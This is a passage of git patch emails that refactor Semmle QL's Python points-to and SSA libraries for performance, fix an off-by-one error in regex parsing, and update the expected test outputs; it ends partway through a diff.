From 931122971da79c8c186f1304674c33766d632161 Mon Sep 17 00:00:00 2001 From: Mark Shannon Date: Thu, 29 Nov 2018 14:18:23 +0000 Subject: [PATCH 01/25] Python points-to: Improve performance by factoring out handling of tuples in class tests. --- .../src/semmle/python/pointsto/PointsTo.qll | 83 ++++++++----------- 1 file changed, 34 insertions(+), 49 deletions(-) diff --git a/python/ql/src/semmle/python/pointsto/PointsTo.qll b/python/ql/src/semmle/python/pointsto/PointsTo.qll index 284e5ccb5e7..06c7b8c2d85 100644 --- a/python/ql/src/semmle/python/pointsto/PointsTo.qll +++ b/python/ql/src/semmle/python/pointsto/PointsTo.qll @@ -780,31 +780,19 @@ module PointsTo { ) ) } -/* - pragma [noinline] - private Object version_hex_compare(CompareNode cmp, PointsToContext context) { - exists(ControlFlowNode lesser, ControlFlowNode greater, boolean strict | - inequality(cmp, lesser, greater, strict) and - exists(TupleObject tuple, int comp | - points_to(lesser, context, tuple, _, _) and - points_to(greater, context, theSysHexVersionNumber(), _, _) and - comp = version_tuple_compare(tuple) - or - points_to(lesser, context, theSysHexVersionNumber(), _, _) and - points_to(greater, context, tuple, _, _) and - comp = version_hex_compare(tuple)*-1 - | - comp = -1 and result = theTrueObject() - or - comp = 0 and strict = false and result = theTrueObject() - or - comp = 0 and strict = true and result = theFalseObject() - or - comp = 1 and result = theFalseObject() - ) + + /** Holds if `cls` is an element of the tuple referred to by `f`. + * Helper for relevant_subclass_relation + */ + private predicate element_of_points_to_tuple(ControlFlowNode f, PointsToContext context, ClassObject cls) { + exists(TupleObject t | + points_to(f, context, t, _, _) | + cls = t.getBuiltinElement(_) + or + points_to(t.getSourceElement(_), _, cls, _, _) ) } -*/ + private predicate compare_expr_points_to(CompareNode cmp, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { equality_expr_points_to(cmp, context, value, cls, origin) or @@ -2046,18 +2034,14 @@ module PointsTo { private boolean issubclass_test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { points_to(use, context, val, cls, origin) and exists(ControlFlowNode clsNode | - BaseFilters::issubclass(expr, clsNode, use) | + BaseFilters::issubclass(expr, clsNode, use) + | exists(ClassObject scls | - points_to(clsNode, context, scls, _, _) | result = Types::is_improper_subclass_bool(val, scls) - ) - or exists(TupleObject t, ClassObject scls | - points_to(clsNode, context, t, _, _) and - result = Types::is_improper_subclass_bool(val, scls) and result = true | - scls = t.getBuiltinElement(_) + points_to(clsNode, context, scls, _, _) or - points_to(t.getSourceElement(_), _, scls, _, _) + element_of_points_to_tuple(clsNode, context, scls) and result = true ) or val = unknownValue() and result = maybe() @@ -2070,18 +2054,14 @@ module PointsTo { private boolean isinstance_test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { points_to(use, context, val, cls, origin) and exists(ControlFlowNode clsNode | - BaseFilters::isinstance(expr, clsNode, use) | + BaseFilters::isinstance(expr, clsNode, use) + | exists(ClassObject scls | - points_to(clsNode, context, scls, _, _) | result = Types::is_improper_subclass_bool(cls, scls) - ) - or exists(TupleObject t, ClassObject scls | - points_to(clsNode, context, t, _, _) and - result = Types::is_improper_subclass_bool(cls, scls) and result = true | - scls = t.getBuiltinElement(_) + points_to(clsNode, context, scls, _, _) or - points_to(t.getSourceElement(_), _, scls, _, _) + element_of_points_to_tuple(clsNode, context, scls) and result = true ) or val = unknownValue() and result = maybe() @@ -2458,18 +2438,12 @@ module PointsTo { } private predicate relevant_subclass_relation(ClassObject cls, ClassObject sup) { - exists(ControlFlowNode supnode, ControlFlowNode use | + exists(ControlFlowNode supnode | points_to(supnode, _, sup, _, _) - or exists(TupleObject t | - points_to(supnode, _, t, _, _) | - sup = t.getBuiltinElement(_) - or - points_to(t.getSourceElement(_), _, sup, _, _) - ) - | - BaseFilters::issubclass(_, supnode, use) and points_to(use, _, cls, _, _) or - BaseFilters::isinstance(_, supnode, use) and points_to(use, _, _, cls, _) + element_of_points_to_tuple(supnode, _, sup) + | + subclass_test(supnode, cls) ) or exists(ClassObject sub | @@ -2478,6 +2452,17 @@ module PointsTo { ) } + /** Holds if there is a subclass test of `f` against class `cls`. + * Helper for relevant_subclass_relation. + */ + private predicate subclass_test(ControlFlowNode f, ClassObject cls) { + exists(ControlFlowNode use | + BaseFilters::issubclass(_, f, use) and points_to(use, _, cls, _, _) + or + BaseFilters::isinstance(_, f, use) and points_to(use, _, _, cls, _) + ) + } + cached ClassList get_mro(ClassObject cls) { result = new_style_mro(cls) and is_new_style_bool(cls) = true or From f11b5ab42f302e138eaf87d9a9ab613a12da0a36 Mon Sep 17 00:00:00 2001 From: Mark Shannon Date: Sat, 1 Dec 2018 16:36:49 +0000 Subject: [PATCH 02/25] Python ESSA: Fix performance of PythonSsaSourceVariable.hasRefinementEdge() --- .../semmle/python/dataflow/SsaDefinitions.qll | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll b/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll index d6d49949053..c605b3d973f 100644 --- a/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll +++ b/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll @@ -79,24 +79,12 @@ abstract class PythonSsaSourceVariable extends SsaSourceVariable { } override predicate hasRefinementEdge(ControlFlowNode use, BasicBlock pred, BasicBlock succ) { + test_contains(pred.getLastNode(), use) and use.(NameNode).uses(this) and - exists(ControlFlowNode test | - test.getAChild*() = use and - test.isBranch() and - test = pred.getLastNode() - ) and - (pred.getAFalseSuccessor() = succ or pred.getATrueSuccessor() = succ) - and + (pred.getAFalseSuccessor() = succ or pred.getATrueSuccessor() = succ) and /* There is a store to this variable -- We don't want to refine builtins */ - exists(this.(Variable).getAStore()) and - /* There is at least one use or definition of the variable that is reachable by the test */ - exists(ControlFlowNode n | - n = this.getAUse() or - this.hasDefiningNode(n) | - pred.(ConditionBlock).strictlyReaches(n.getBasicBlock()) - ) + exists(this.(Variable).getAStore()) } - override ControlFlowNode getASourceUse() { result.(NameNode).uses(this) or From 08b99944b11a579a8a11811ee9931fd8c6cde04d Mon Sep 17 00:00:00 2001 From: Mark Shannon Date: Sat, 1 Dec 2018 16:03:24 +0000 Subject: [PATCH 03/25] Python ESSA: Fix definition of Essa non-local variables. --- .../semmle/python/dataflow/SsaDefinitions.qll | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll b/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll index d6d49949053..3ea48ba5b0e 100644 --- a/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll +++ b/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll @@ -107,11 +107,11 @@ abstract class PythonSsaSourceVariable extends SsaSourceVariable { } - class FunctionLocalVariable extends PythonSsaSourceVariable { FunctionLocalVariable() { - this.(LocalVariable).getScope() instanceof Function and not this.(LocalVariable).escapes() + this.(LocalVariable).getScope() instanceof Function and + not this instanceof NonLocalVariable } override ControlFlowNode getAnImplicitUse() { @@ -120,8 +120,14 @@ class FunctionLocalVariable extends PythonSsaSourceVariable { override ControlFlowNode getScopeEntryDefinition() { not this.(LocalVariable).getId() = "*" and - not this.(LocalVariable).isParameter() and - this.(LocalVariable).getScope().getEntryNode() = result + exists(Scope s | + s.getEntryNode() = result | + s = this.(LocalVariable).getScope() and + not this.(LocalVariable).isParameter() + or + s != this.(LocalVariable).getScope() and + s = this.(LocalVariable).getALoad().getScope() + ) } override CallNode redefinedAtCallSite() { none() } @@ -131,7 +137,10 @@ class FunctionLocalVariable extends PythonSsaSourceVariable { class NonLocalVariable extends PythonSsaSourceVariable { NonLocalVariable() { - this.(LocalVariable).getScope() instanceof Function and this.(LocalVariable).escapes() + exists(Function f | + this.(LocalVariable).getScope() = f and + this.(LocalVariable).getAStore().getScope() != f + ) } override ControlFlowNode getAnImplicitUse() { From fb90d2a5a6a06a0f5b7d9f66cb18462b4715d68e Mon Sep 17 00:00:00 2001 From: Mark Shannon Date: Mon, 3 Dec 2018 11:13:18 +0000 Subject: [PATCH 04/25] Python points-to: Update test results for fixed ESSA computation. --- python/ql/test/library-tests/PointsTo/new/Dataflow.expected | 3 --- .../library-tests/PointsTo/new/SourceNodeDefinitions.expected | 1 - python/ql/test/library-tests/PointsTo/new/SsaUses.expected | 2 -- python/ql/test/library-tests/PointsTo/new/VarUses.expected | 2 -- 4 files changed, 8 deletions(-) diff --git a/python/ql/test/library-tests/PointsTo/new/Dataflow.expected b/python/ql/test/library-tests/PointsTo/new/Dataflow.expected index 5ea3736af76..502f88424c0 100644 --- a/python/ql/test/library-tests/PointsTo/new/Dataflow.expected +++ b/python/ql/test/library-tests/PointsTo/new/Dataflow.expected @@ -698,10 +698,8 @@ | r_regressions.py:61 | obj_0 = ParameterDefinition | | r_regressions.py:61 | obj_3 = phi(obj_1, obj_2) | | r_regressions.py:62 | is_class_0 = isinstance() | -| r_regressions.py:62 | name_2 = CallsiteRefinement(name_1) | | r_regressions.py:62 | obj_1 = ArgumentRefinement(obj_0) | | r_regressions.py:64 | is_class_1 = Pi(is_class_0) [true] | -| r_regressions.py:64 | name_3 = CallsiteRefinement(name_2) | | r_regressions.py:66 | func_1 = obj | | r_regressions.py:66 | is_class_2 = Pi(is_class_0) [false] | | r_regressions.py:68 | _wrapper_0 = FunctionExpr | @@ -709,7 +707,6 @@ | r_regressions.py:68 | func_2 = phi(func_0, func_1) | | r_regressions.py:68 | is_class_3 = phi(is_class_1, is_class_2) | | r_regressions.py:68 | kwargs_0 = ParameterDefinition | -| r_regressions.py:68 | name_4 = phi(name_2, name_3) | | r_regressions.py:68 | self_0 = ParameterDefinition | | r_regressions.py:73 | is_class_4 = Pi(is_class_3) [true] | | r_regressions.py:73 | obj_2 = ArgumentRefinement(obj_1) | diff --git a/python/ql/test/library-tests/PointsTo/new/SourceNodeDefinitions.expected b/python/ql/test/library-tests/PointsTo/new/SourceNodeDefinitions.expected index 55363237c62..cc5b4db2784 100644 --- a/python/ql/test/library-tests/PointsTo/new/SourceNodeDefinitions.expected +++ b/python/ql/test/library-tests/PointsTo/new/SourceNodeDefinitions.expected @@ -103,7 +103,6 @@ | b_condition.py:82 | Local Variable foo | ControlFlowNode for callable() | refinement | | b_condition.py:83 | Local Variable bar | ControlFlowNode for bar | definition | | b_condition.py:83 | Local Variable foo | Entry node for Function bar | definition | -| b_condition.py:84 | Local Variable foo | ControlFlowNode for foo() | refinement | | b_condition.py:87 | Global Variable split_bool1 | ControlFlowNode for split_bool1 | definition | | b_condition.py:87 | Local Variable x | ControlFlowNode for x | definition | | b_condition.py:87 | Local Variable y | ControlFlowNode for y | definition | diff --git a/python/ql/test/library-tests/PointsTo/new/SsaUses.expected b/python/ql/test/library-tests/PointsTo/new/SsaUses.expected index 171e9174cba..aff87febe79 100644 --- a/python/ql/test/library-tests/PointsTo/new/SsaUses.expected +++ b/python/ql/test/library-tests/PointsTo/new/SsaUses.expected @@ -148,10 +148,8 @@ | b_condition.py:79 | t_3 | ControlFlowNode for t | | b_condition.py:81 | bar_2 | Exit node for Function odasa6261 | | b_condition.py:81 | foo_5 | Exit node for Function odasa6261 | -| b_condition.py:82 | foo_0 | ControlFlowNode for callable() | | b_condition.py:82 | foo_0 | ControlFlowNode for foo | | b_condition.py:84 | foo_3 | ControlFlowNode for foo | -| b_condition.py:84 | foo_3 | ControlFlowNode for foo() | | b_condition.py:87 | x_3 | Exit node for Function split_bool1 | | b_condition.py:87 | x_8 | Exit node for Function split_bool1 | | b_condition.py:87 | y_3 | Exit node for Function split_bool1 | diff --git a/python/ql/test/library-tests/PointsTo/new/VarUses.expected b/python/ql/test/library-tests/PointsTo/new/VarUses.expected index 4fcc0a1a1dc..18fb97ea47a 100644 --- a/python/ql/test/library-tests/PointsTo/new/VarUses.expected +++ b/python/ql/test/library-tests/PointsTo/new/VarUses.expected @@ -175,10 +175,8 @@ | b_condition.py:81 | bar | Exit node for Function odasa6261 | | b_condition.py:81 | foo | Exit node for Function odasa6261 | | b_condition.py:82 | callable | ControlFlowNode for callable | -| b_condition.py:82 | foo | ControlFlowNode for callable() | | b_condition.py:82 | foo | ControlFlowNode for foo | | b_condition.py:84 | foo | ControlFlowNode for foo | -| b_condition.py:84 | foo | ControlFlowNode for foo() | | b_condition.py:87 | x | Exit node for Function split_bool1 | | b_condition.py:87 | y | Exit node for Function split_bool1 | | b_condition.py:88 | x | ControlFlowNode for x | From 68440f7f774f8114bddb28a9b4f4c891bb9ee009 Mon Sep 17 00:00:00 2001 From: Mark Shannon Date: Mon, 3 Dec 2018 11:23:31 +0000 Subject: [PATCH 05/25] Python ESSA: Speed up ESSA computation by refactoring ADT to match class hierarchy making it more transparent to the optimizer. --- python/ql/src/semmle/dataflow/SSA.qll | 103 ++++++++++++------ python/ql/src/semmle/dataflow/SsaCompute.qll | 40 ++++++- python/ql/src/semmle/python/pointsto/Base.qll | 4 - .../semmle/python/security/TaintTracking.qll | 6 +- 4 files changed, 106 insertions(+), 47 deletions(-) diff --git a/python/ql/src/semmle/dataflow/SSA.qll b/python/ql/src/semmle/dataflow/SSA.qll index 0338b6a2e0a..6f8704a10c2 100755 --- a/python/ql/src/semmle/dataflow/SSA.qll +++ b/python/ql/src/semmle/dataflow/SSA.qll @@ -154,6 +154,8 @@ private string location_string(EssaVariable v) { | def = TEssaNodeDefinition(_, b, index) or + def = TEssaNodeRefinement(_, b, index) + or def = TEssaEdgeDefinition(_, _, b) and index = piIndex() or def = TPhiFunction(_, b) and index = phiIndex() @@ -177,7 +179,11 @@ private int var_rank(EssaVariable v) { /** Underlying IPA type for EssaDefinition and EssaVariable. */ private cached newtype TEssaDefinition = TEssaNodeDefinition(SsaSourceVariable v, BasicBlock b, int i) { - EssaDefinitions::variableUpdate(v, _, b, _, i) + EssaDefinitions::variableDefinition(v, _, b, _, i) + } + or + TEssaNodeRefinement(SsaSourceVariable v, BasicBlock b, int i) { + EssaDefinitions::variableRefinement(v, _, b, _, i) } or TEssaEdgeDefinition(SsaSourceVariable v, BasicBlock pred, BasicBlock succ) { @@ -446,21 +452,15 @@ class PhiFunction extends EssaDefinition, TPhiFunction { } } -library class EssaNode extends EssaDefinition, TEssaNodeDefinition { +/** A definition of an ESSA variable that is not directly linked to + * another ESSA variable. + */ +class EssaNodeDefinition extends EssaDefinition, TEssaNodeDefinition { override string toString() { result = "Essa node definition" } - /** Gets the ControlFlowNode corresponding to this definition */ - ControlFlowNode getDefiningNode() { - this.definedBy(_, result) - } - - override Location getLocation() { - result = this.getDefiningNode().getLocation() - } - override ControlFlowNode getAUse() { exists(SsaSourceVariable v, BasicBlock b, int i | this = TEssaNodeDefinition(v, b, i) and @@ -479,6 +479,15 @@ library class EssaNode extends EssaDefinition, TEssaNodeDefinition { this = TEssaNodeDefinition(result, _, _) } + /** Gets the ControlFlowNode corresponding to this definition */ + ControlFlowNode getDefiningNode() { + this.definedBy(_, result) + } + + override Location getLocation() { + result = this.getDefiningNode().getLocation() + } + override string getRepresentation() { result = this.getDefiningNode().toString() } @@ -501,27 +510,9 @@ library class EssaNode extends EssaDefinition, TEssaNodeDefinition { } -/** A definition of an ESSA variable that is not directly linked to - * another ESSA variable. - */ -class EssaNodeDefinition extends EssaNode { - - EssaNodeDefinition() { - this.getSourceVariable().hasDefiningNode(this.getDefiningNode()) - } - -} - /** A definition of an ESSA variable that takes another ESSA variable as an input. */ -class EssaNodeRefinement extends EssaNode { - - EssaNodeRefinement() { - exists(SsaSourceVariable v, ControlFlowNode def | - this.definedBy(v, def) and - v.hasRefinement(_, def) - ) - } +class EssaNodeRefinement extends EssaDefinition, TEssaNodeRefinement { override string toString() { result = "SSA filter definition" @@ -533,22 +524,62 @@ class EssaNodeRefinement extends EssaNode { not result = potential_input(potential_input(this).getDefinition()) } + override ControlFlowNode getAUse() { + exists(SsaSourceVariable v, BasicBlock b, int i | + this = TEssaNodeRefinement(v, b, i) and + SsaDefinitions::reachesUse(v, b, i, result) + ) + } + + override predicate reachesEndOfBlock(BasicBlock b) { + exists(BasicBlock defb, int i | + this = TEssaNodeRefinement(_, defb, i) and + SsaDefinitions::reachesEndOfBlock(this.getSourceVariable(), defb, i, b) + ) + } + + override SsaSourceVariable getSourceVariable() { + this = TEssaNodeRefinement(result, _, _) + } + + /** Gets the ControlFlowNode corresponding to this definition */ + ControlFlowNode getDefiningNode() { + this.definedBy(_, result) + } + + override Location getLocation() { + result = this.getDefiningNode().getLocation() + } + override string getRepresentation() { result = this.getAQlClass() + "(" + this.getInput().getRepresentation() + ")" } + override Scope getScope() { + exists(BasicBlock defb | + this = TEssaNodeRefinement(_, defb, _) and + result = defb.getScope() + ) + } + + predicate definedBy(SsaSourceVariable v, ControlFlowNode def) { + exists(BasicBlock b, int i | + def = b.getNode(i) | + this = TEssaNodeRefinement(v, b, i+i) + or + this = TEssaNodeRefinement(v, b, i+i+1) + ) + } + } pragma[noopt] private EssaVariable potential_input(EssaNodeRefinement ref) { - exists(EssaNode node, ControlFlowNode use, SsaSourceVariable var, ControlFlowNode def | + exists(ControlFlowNode use, SsaSourceVariable var, ControlFlowNode def | var.hasRefinement(use, def) and use = result.getAUse() and var = result.getSourceVariable() and - def = node.getDefiningNode() and - var = node.getSourceVariable() and - ref = (EssaNodeRefinement)node + def = ref.getDefiningNode() and + var = ref.getSourceVariable() ) } - - diff --git a/python/ql/src/semmle/dataflow/SsaCompute.qll b/python/ql/src/semmle/dataflow/SsaCompute.qll index dbdd51e115c..711065444d7 100644 --- a/python/ql/src/semmle/dataflow/SsaCompute.qll +++ b/python/ql/src/semmle/dataflow/SsaCompute.qll @@ -99,8 +99,8 @@ private cached module SsaComputeImpl { cached module EssaDefinitionsImpl { /** Whether `n` is a live update that is a definition of the variable `v`. */ - cached predicate variableUpdate(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) { - SsaComputeImpl::variableDef(v, n, b, i) and + cached predicate variableDefinition(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) { + SsaComputeImpl::variableDefine(v, n, b, i) and SsaComputeImpl::defUseRank(v, b, rankix, i) and ( SsaComputeImpl::defUseRank(v, b, rankix+1, _) and not SsaComputeImpl::defRank(v, b, rankix+1, _) @@ -109,6 +109,23 @@ private cached module SsaComputeImpl { ) } + /** Whether `n` is a live update that is a definition of the variable `v`. */ + cached predicate variableRefinement(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) { + SsaComputeImpl::variableRefine(v, n, b, i) and + SsaComputeImpl::defUseRank(v, b, rankix, i) and + ( + SsaComputeImpl::defUseRank(v, b, rankix+1, _) and not SsaComputeImpl::defRank(v, b, rankix+1, _) + or + not SsaComputeImpl::defUseRank(v, b, rankix+1, _) and Liveness::liveAtExit(v, b) + ) + } + + cached predicate variableUpdate(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int rankix, int i) { + variableDefinition(v, n, b, rankix, i) + or + variableRefinement(v, n, b, rankix, i) + } + /** Holds if `def` is a pi-node for `v` on the edge `pred` -> `succ` */ cached predicate piNode(SsaSourceVariable v, BasicBlock pred, BasicBlock succ) { v.hasRefinementEdge(_, pred, succ) and @@ -128,15 +145,28 @@ private cached module SsaComputeImpl { } } - cached predicate variableDef(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) { - (v.hasDefiningNode(n) or v.hasRefinement(_, n)) + cached predicate variableDefine(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) { + v.hasDefiningNode(n) and exists(int j | - n = b.getNode(j) and + n = b.getNode(j) and i = j*2 + 1 ) } + cached predicate variableRefine(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) { + v.hasRefinement(_, n) + and + exists(int j | + n = b.getNode(j) and + i = j*2 + 1 + ) + } + + cached predicate variableDef(SsaSourceVariable v, ControlFlowNode n, BasicBlock b, int i) { + variableDefine(v, n, b, i) or variableRefine(v, n, b, i) + } + /** * A ranking of the indices `i` at which there is an SSA definition or use of * `v` in the basic block `b`. diff --git a/python/ql/src/semmle/python/pointsto/Base.qll b/python/ql/src/semmle/python/pointsto/Base.qll index cc57a6f5d69..fc4d2e5807a 100644 --- a/python/ql/src/semmle/python/pointsto/Base.qll +++ b/python/ql/src/semmle/python/pointsto/Base.qll @@ -202,10 +202,6 @@ predicate function_can_never_return(FunctionObject func) { /** Python specific sub-class of generic EssaNodeDefinition */ class PyNodeDefinition extends EssaNodeDefinition { - PyNodeDefinition() { - this.getSourceVariable().hasDefiningNode(this.getDefiningNode()) - } - override string getRepresentation() { result = this.getAQlClass() } diff --git a/python/ql/src/semmle/python/security/TaintTracking.qll b/python/ql/src/semmle/python/security/TaintTracking.qll index 928806d7f82..6226763aee4 100755 --- a/python/ql/src/semmle/python/security/TaintTracking.qll +++ b/python/ql/src/semmle/python/security/TaintTracking.qll @@ -416,7 +416,7 @@ abstract class TaintSource extends @py_flow_node { * Users of the taint tracking library can override this * class to provide their own sources on the ESSA graph. */ -abstract class TaintedDefinition extends EssaNode { +abstract class TaintedDefinition extends EssaNodeDefinition { /** * Holds if `this` is a source of taint kind `kind` @@ -1067,7 +1067,9 @@ library module TaintFlowImplementation { not exists(Sanitizer san | san.sanitizingDefinition(kind, def) or - san.sanitizingNode(kind, def.(EssaNode).getDefiningNode()) + san.sanitizingNode(kind, def.(EssaNodeDefinition).getDefiningNode()) + or + san.sanitizingNode(kind, def.(EssaNodeRefinement).getDefiningNode()) ) ) ) From a5b79e92a55067caac6898a27bfc1b74c1e56428 Mon Sep 17 00:00:00 2001 From: Mark Shannon Date: Mon, 3 Dec 2018 16:41:39 +0000 Subject: [PATCH 06/25] Python: Fix off-by-one error in regex parsing. --- python/ql/src/semmle/python/regex.qll | 6 ++---- .../library-tests/regex/Alternation.expected | 7 ++++++- .../test/library-tests/regex/Characters.expected | 4 ++++ .../test/library-tests/regex/FirstLast.expected | 7 +++++++ .../library-tests/regex/GroupContents.expected | 3 +++ .../ql/test/library-tests/regex/Regex.expected | 16 ++++++++++++++++ python/ql/test/library-tests/regex/test.py | 7 +++++++ .../test/query-tests/Expressions/Regex/test.py | 3 +++ 8 files changed, 48 insertions(+), 5 deletions(-) diff --git a/python/ql/src/semmle/python/regex.qll b/python/ql/src/semmle/python/regex.qll index 0636c485f06..da232c0fdf1 100644 --- a/python/ql/src/semmle/python/regex.qll +++ b/python/ql/src/semmle/python/regex.qll @@ -565,10 +565,8 @@ abstract class RegexString extends Expr { this.sequenceOrQualified(start, end) and not this.isOptionDivider(start-1) and item_start = start or - exists(int endp1 | end = endp1-1 | - start = end and not this.item_end(start) and this.isOptionDivider(endp1) and - item_start = start - ) + start = end and not this.item_end(start) and this.isOptionDivider(end) and + item_start = start or exists(int mid | this.subalternation(start, mid, _) and diff --git a/python/ql/test/library-tests/regex/Alternation.expected b/python/ql/test/library-tests/regex/Alternation.expected index cba6212a273..2fe6572074e 100644 --- a/python/ql/test/library-tests/regex/Alternation.expected +++ b/python/ql/test/library-tests/regex/Alternation.expected @@ -1,5 +1,7 @@ | (?:(?:\n\r?)\|^)( *)\\S | 3 | 12 | (?:\n\r?)\|^ | 3 | 10 | (?:\n\r?) | | (?:(?:\n\r?)\|^)( *)\\S | 3 | 12 | (?:\n\r?)\|^ | 11 | 12 | ^ | +| (?:(?P^(?:\|x))) | 14 | 16 | \|x | 14 | 14 | | +| (?:(?P^(?:\|x))) | 14 | 16 | \|x | 15 | 16 | x | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 3 | 9 | [^%]\|^ | 3 | 7 | [^%] | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 3 | 9 | [^%]\|^ | 8 | 9 | ^ | | (?P[\\w]+)\| | 0 | 16 | (?P[\\w]+)\| | 0 | 15 | (?P[\\w]+) | @@ -8,10 +10,13 @@ | (\\033\|~{) | 1 | 8 | \\033\|~{ | 6 | 8 | ~{ | | \\\|\\[\\][123]\|\\{\\} | 0 | 16 | \\\|\\[\\][123]\|\\{\\} | 0 | 11 | \\\|\\[\\][123] | | \\\|\\[\\][123]\|\\{\\} | 0 | 16 | \\\|\\[\\][123]\|\\{\\} | 12 | 16 | \\{\\} | +| \|x | 0 | 2 | \|x | 0 | 0 | | +| \|x | 0 | 2 | \|x | 1 | 2 | x | | ^(^y\|^z)(u$\|v$)$ | 2 | 7 | ^y\|^z | 2 | 4 | ^y | | ^(^y\|^z)(u$\|v$)$ | 2 | 7 | ^y\|^z | 5 | 7 | ^z | | ^(^y\|^z)(u$\|v$)$ | 9 | 14 | u$\|v$ | 9 | 11 | u$ | | ^(^y\|^z)(u$\|v$)$ | 9 | 14 | u$\|v$ | 12 | 14 | v$ | -| x\|(?^(?:\|x))) | 10 | 11 | +| (?:(?P^(?:\|x))) | 15 | 16 | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 5 | 6 | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 8 | 9 | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 11 | 12 | @@ -62,6 +64,7 @@ | \\\|\\[\\][123]\|\\{\\} | 9 | 10 | | \\\|\\[\\][123]\|\\{\\} | 12 | 14 | | \\\|\\[\\][123]\|\\{\\} | 14 | 16 | +| \|x | 1 | 2 | | ^(^y\|^z)(u$\|v$)$ | 0 | 1 | | ^(^y\|^z)(u$\|v$)$ | 2 | 3 | | ^(^y\|^z)(u$\|v$)$ | 3 | 4 | @@ -110,6 +113,7 @@ | ax{,3} | 3 | 4 | | ax{,3} | 4 | 5 | | ax{,3} | 5 | 6 | +| x\| | 0 | 1 | | x\|(?^(?:\|x))) | first | 10 | 11 | +| (?:(?P^(?:\|x))) | first | 15 | 16 | +| (?:(?P^(?:\|x))) | last | 15 | 16 | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | first | 0 | 11 | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | first | 3 | 7 | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | first | 8 | 9 | @@ -46,6 +49,8 @@ | \\\|\\[\\][123]\|\\{\\} | first | 12 | 14 | | \\\|\\[\\][123]\|\\{\\} | last | 6 | 11 | | \\\|\\[\\][123]\|\\{\\} | last | 14 | 16 | +| \|x | first | 1 | 2 | +| \|x | last | 1 | 2 | | ^(^y\|^z)(u$\|v$)$ | first | 0 | 1 | | ^(^y\|^z)(u$\|v$)$ | first | 2 | 3 | | ^(^y\|^z)(u$\|v$)$ | first | 3 | 4 | @@ -82,6 +87,8 @@ | ax{,3} | last | 1 | 2 | | ax{,3} | last | 1 | 6 | | ax{,3} | last | 5 | 6 | +| x\| | first | 0 | 1 | +| x\| | last | 0 | 1 | | x\|(?^(?:\|x))) | 0 | 19 | (?:(?P^(?:\|x))) | 3 | 18 | (?P^(?:\|x)) | +| (?:(?P^(?:\|x))) | 3 | 18 | (?P^(?:\|x)) | 10 | 17 | ^(?:\|x) | +| (?:(?P^(?:\|x))) | 11 | 17 | (?:\|x) | 14 | 16 | \|x | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 0 | 10 | (?:[^%]\|^) | 3 | 9 | [^%]\|^ | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 14 | 19 | (\\w*) | 15 | 18 | \\w* | | (?P[\\w]+)\| | 0 | 15 | (?P[\\w]+) | 9 | 14 | [\\w]+ | diff --git a/python/ql/test/library-tests/regex/Regex.expected b/python/ql/test/library-tests/regex/Regex.expected index 788c7c28a3e..008607eabc9 100644 --- a/python/ql/test/library-tests/regex/Regex.expected +++ b/python/ql/test/library-tests/regex/Regex.expected @@ -41,6 +41,16 @@ | (?:(?:\n\r?)\|^)( *)\\S | sequence | 3 | 10 | | (?:(?:\n\r?)\|^)( *)\\S | sequence | 6 | 9 | | (?:(?:\n\r?)\|^)( *)\\S | sequence | 11 | 12 | +| (?:(?P^(?:\|x))) | ^ | 10 | 11 | +| (?:(?P^(?:\|x))) | char | 15 | 16 | +| (?:(?P^(?:\|x))) | choice | 14 | 16 | +| (?:(?P^(?:\|x))) | non-empty group | 0 | 19 | +| (?:(?P^(?:\|x))) | non-empty group | 3 | 18 | +| (?:(?P^(?:\|x))) | non-empty group | 11 | 17 | +| (?:(?P^(?:\|x))) | sequence | 0 | 19 | +| (?:(?P^(?:\|x))) | sequence | 3 | 18 | +| (?:(?P^(?:\|x))) | sequence | 10 | 17 | +| (?:(?P^(?:\|x))) | sequence | 15 | 16 | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | ^ | 8 | 9 | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 5 | 6 | | (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 11 | 12 | @@ -123,6 +133,9 @@ | \\\|\\[\\][123]\|\\{\\} | choice | 0 | 16 | | \\\|\\[\\][123]\|\\{\\} | sequence | 0 | 11 | | \\\|\\[\\][123]\|\\{\\} | sequence | 12 | 16 | +| \|x | char | 1 | 2 | +| \|x | choice | 0 | 2 | +| \|x | sequence | 1 | 2 | | ^(^y\|^z)(u$\|v$)$ | $ | 10 | 11 | | ^(^y\|^z)(u$\|v$)$ | $ | 13 | 14 | | ^(^y\|^z)(u$\|v$)$ | $ | 15 | 16 | @@ -193,6 +206,9 @@ | ax{,3} | char | 5 | 6 | | ax{,3} | qualified | 1 | 6 | | ax{,3} | sequence | 0 | 6 | +| x\| | char | 0 | 1 | +| x\| | choice | 0 | 2 | +| x\| | sequence | 0 | 1 | | x\|(?^(?:|x)))') diff --git a/python/ql/test/query-tests/Expressions/Regex/test.py 